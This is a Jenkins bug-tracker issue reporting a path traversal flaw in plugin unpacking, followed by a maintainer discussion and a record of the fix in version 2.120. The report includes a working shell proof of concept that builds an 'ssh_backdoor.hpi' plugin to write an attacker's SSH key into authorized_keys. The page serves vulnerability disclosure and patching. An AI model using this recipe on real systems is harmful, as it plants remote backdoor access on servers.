Uploaded image for project: 'Jenkins'
  1. Jenkins
  2. JENKINS-32778

Jenkins plugin installation path traversal vulnerability

    • Icon: Improvement Improvement
    • Resolution: Fixed
    • Icon: Minor Minor
    • core
    • Platforms: Jenkins
      Versions: 1.622

      Submitting as delegate for a Cisco pen-testing team
      A vulnerability in the package installation process of Jenkins could all an authenticated, remote attacker to affect a path traversal attack.

      The vulnerability is due to unsafe unpacking operations. An attacker could exploit this vulnerability by crafting a malicious plugin package and installing it themselves, or tricking a victim to install it on their Jenkin's instance. An exploit could allow the attacker to write or overwrite files with elevated privileges, which could allow backdoor access, or a denial of service (DoS) condition.

      Headline: Path traversal during Jenkins plugin installation
      Platforms: Jenkins
      Versions: 1.622
      CWE Tags: CWE-25, CWE-541

      Jenkins allows administrators to install plugins that extend the core
      functionality of the system. Plugins are distributed in a single-file package
      (essentially a 'zip'/'jar' file) that is expanded at installation time. The
      process that expands plugin packages during installation contains a path
      traversal vulnerability that allows a malicious plugin package to write files to
      arbitrary locations on the underlying filesystem. This includes creating new
      files and directories and overwriting existing files.

      For example, a plugin package could overwrite Jenkins system configuration files
      or cryptographic secrets. It could create new users or jobs by writing new
      user/job configuration files. It could even create/overwrite an OS user's
      '.ssh/authorized_keys' file, thus creating a backdoor that may allow the
      attacker to SSH into the Jenkins server.

      Consider the following shell transcript illustrating how an attacker could
      create a malicious package that installs an attacker controlled SSH key.

      $ mkdir -p .ssh one/two

      $ ssh-keygen -t rsa -b 1024 -N "" -C jenkins -f .ssh/jenkins.id_rsa
      Generating public/private rsa key pair.
      Your identification has been saved in ./jenkins.id_rsa.
      Your public key has been saved in ./jenkins.id_rsa.pub.
      The key fingerprint is:
      96:6b:2e:0a:bb:07:d5:8d:97:b7:70:bb:4e:65:3f:bb jenkins
      The key's randomart image is:
      -[ RSA 1024]---

       
       
      . o .
      . o =.o
      . .S+ oo
      . . .oo .
      .. o .. o
      o. .o .. o
      oo.. .... E.

      -----------------

      $ ln -s jenkins.id_rsa.pub .ssh/authorized_keys

      $ jar cvf ssh_backdoor.hpi -C one/two/ ../../.ssh/authorized_keys
      added manifest
      adding: ../../.ssh/authorized_keys(in = 221) (out= 198)(deflated 10%)

      Note, the 'ssh_backdoor.hpi' plugin described above has been confirmed to
      successfully create an SSH backdoor on Jenkins 1.622 running on Ubuntu Linux
      (default installation via aptitude). Obviously, differences in installation
      paths and filesystem layout could affect the applicability of this example to
      other platforms.

      Clearly the behavior described above should not be permitted. To protect
      against such attacks, Jenkins developers should ensure that plugins are
      unpackaged and installed in isolated portions of the filesystem.

      References:
      http://cwe.mitre.org/data/definitions/25.html
      http://cwe.mitre.org/data/definitions/641.html

          [JENKINS-32778] Jenkins plugin installation path traversal vulnerability

          James Nord added a comment -

          I don't see how this is a vulnerability as you need to get the admin to install this plugin.

          A plugin that jenkins runs can do anything in code that it wants to - including reading files or writing files - so hacking a package for directory traversal seems like an overly complex way to modify some files that the plugin can easily do with java code.

          James Nord added a comment - I don't see how this is a vulnerability as you need to get the admin to install this plugin. A plugin that jenkins runs can do anything in code that it wants to - including reading files or writing files - so hacking a package for directory traversal seems like an overly complex way to modify some files that the plugin can easily do with java code.

          We agree that someone could build a plugin to do something malicious, however, we shouldn't be leaving doors open which don't need to be open. From a holistic view we should try to close an attack surface. Here are some comments from the original pen tester

          This is certainly a contrived argument, but a security-conscious
          administrator could review source code for plug-ins he wishes to
          install (assuming the plug-in is open source, etc.). However,
          it's not as straightforward for him to identify a plug-in that
          maliciously injects files into the filesystem using the path
          traversal pointed out by this issue. So although an attacker
          could likely create a malicious plug-in using either method, the
          path traversal may be more difficult to identify.

          I don't immediately see anything else that calls the code that
          contains the path traversal issue. However, it's possible that
          some other module may reuse this code in the future for something
          other than plug-ins. In such a case, this argument about there
          being arbitrary code execution after the unpackaging may not
          apply. This is obviously a contrived example, but consider a new
          feature that allowed an administrator to upload an 'skin' package
          that changed colors, logos, style sheets, etc. Such a package
          wouldn't run any code after installation, but depending on the
          implementation it may reuse this code that unpackages 'jar'/'zip'
          files.

          In the end, Jenkin's will have to decide what they want to do with regards to this.

          Craig Lorentzen added a comment - We agree that someone could build a plugin to do something malicious, however, we shouldn't be leaving doors open which don't need to be open. From a holistic view we should try to close an attack surface. Here are some comments from the original pen tester This is certainly a contrived argument, but a security-conscious administrator could review source code for plug-ins he wishes to install (assuming the plug-in is open source, etc.). However, it's not as straightforward for him to identify a plug-in that maliciously injects files into the filesystem using the path traversal pointed out by this issue. So although an attacker could likely create a malicious plug-in using either method, the path traversal may be more difficult to identify. I don't immediately see anything else that calls the code that contains the path traversal issue. However, it's possible that some other module may reuse this code in the future for something other than plug-ins. In such a case, this argument about there being arbitrary code execution after the unpackaging may not apply. This is obviously a contrived example, but consider a new feature that allowed an administrator to upload an 'skin' package that changed colors, logos, style sheets, etc. Such a package wouldn't run any code after installation, but depending on the implementation it may reuse this code that unpackages 'jar'/'zip' files. In the end, Jenkin's will have to decide what they want to do with regards to this.

          Jesse Glick added a comment -

          Seems like this can be closed as not a defect. If you can install arbitrary plugins, you are effectively a superuser. (For purposes of UI configuration of authorization strategies, UPLOAD_PLUGINS is implied by ADMINISTER, but this is logically backward as I have argued in JENKINS-21336.)

          Jesse Glick added a comment - Seems like this can be closed as not a defect. If you can install arbitrary plugins, you are effectively a superuser. (For purposes of UI configuration of authorization strategies, UPLOAD_PLUGINS is implied by ADMINISTER , but this is logically backward as I have argued in JENKINS-21336 .)

          James Nord added a comment -

          I would agree this is not a security issue - however at the same time I think we should have a non secuirty bug so that we don't blindly unzip packages.

          James Nord added a comment - I would agree this is not a security issue - however at the same time I think we should have a non secuirty bug so that we don't blindly unzip packages.

          Daniel Beck added a comment -

          Anyone opposed to just moving this to JENKINS? It seems consensus here is that it's not an exploitable bug (if you get someone to install your maliciously crafted plugin, they have a problem anyway), so keeping the information on this private would be unnecessary.

          Daniel Beck added a comment - Anyone opposed to just moving this to JENKINS? It seems consensus here is that it's not an exploitable bug (if you get someone to install your maliciously crafted plugin, they have a problem anyway), so keeping the information on this private would be unnecessary.

          Jesse Glick added a comment -

          consider a new feature that allowed an administrator to upload an 'skin' package that changed colors, logos, style sheets, etc. Such a package wouldn't run any code after installation, but depending on the implementation it may reuse this code that unpackages 'jar'/'zip' files.

          I would not recommend that such a feature be created, but if it were (as a plugin on the update site), it would be the responsibility of the plugin author to ensure that all submitted ZIP files were treated as potentially malicious and the contents checked accordingly. If and when such a feature is created and the author is negligent about security and someone discovers this, file a SECURITY report and the plugin can be either fixed or blacklisted.

          Jesse Glick added a comment - consider a new feature that allowed an administrator to upload an 'skin' package that changed colors, logos, style sheets, etc. Such a package wouldn't run any code after installation, but depending on the implementation it may reuse this code that unpackages 'jar'/'zip' files. I would not recommend that such a feature be created, but if it were (as a plugin on the update site), it would be the responsibility of the plugin author to ensure that all submitted ZIP files were treated as potentially malicious and the contents checked accordingly. If and when such a feature is created and the author is negligent about security and someone discovers this, file a SECURITY report and the plugin can be either fixed or blacklisted.

          Oleg Nenashev added a comment -

          Reopening since we agreed to merge https://github.com/jenkinsci/jenkins/pull/3402
          It is not considered as a security defect tho

          Oleg Nenashev added a comment - Reopening since we agreed to merge https://github.com/jenkinsci/jenkins/pull/3402 It is not considered as a security defect tho

          Code changed in jenkins
          User: aviadatsnyk
          Path:
          core/src/main/java/hudson/FilePath.java
          http://jenkins-ci.org/commit/jenkins/8ede53387ec060a7c343e32efe808b1016f0c10c
          Log:
          JENKINS-32778 - Prevent extracting archived plugins outside of target path (#3402)

          *NOTE:* This service been marked for deprecation: https://developer.github.com/changes/2018-04-25-github-services-deprecation/

          Functionality will be removed from GitHub.com on January 31st, 2019.

          SCM/JIRA link daemon added a comment - Code changed in jenkins User: aviadatsnyk Path: core/src/main/java/hudson/FilePath.java http://jenkins-ci.org/commit/jenkins/8ede53387ec060a7c343e32efe808b1016f0c10c Log: JENKINS-32778 - Prevent extracting archived plugins outside of target path (#3402) * NOTE: * This service been marked for deprecation: https://developer.github.com/changes/2018-04-25-github-services-deprecation/ Functionality will be removed from GitHub.com on January 31st, 2019.

          Daniel Beck added a comment -

          Fixed in 2.120.

          Daniel Beck added a comment - Fixed in 2.120.

            Unassigned Unassigned
            crlorent Craig Lorentzen
            Votes:
            0 Vote for this issue
            Watchers:
            6 Start watching this issue

              Created:
              Updated:
              Resolved: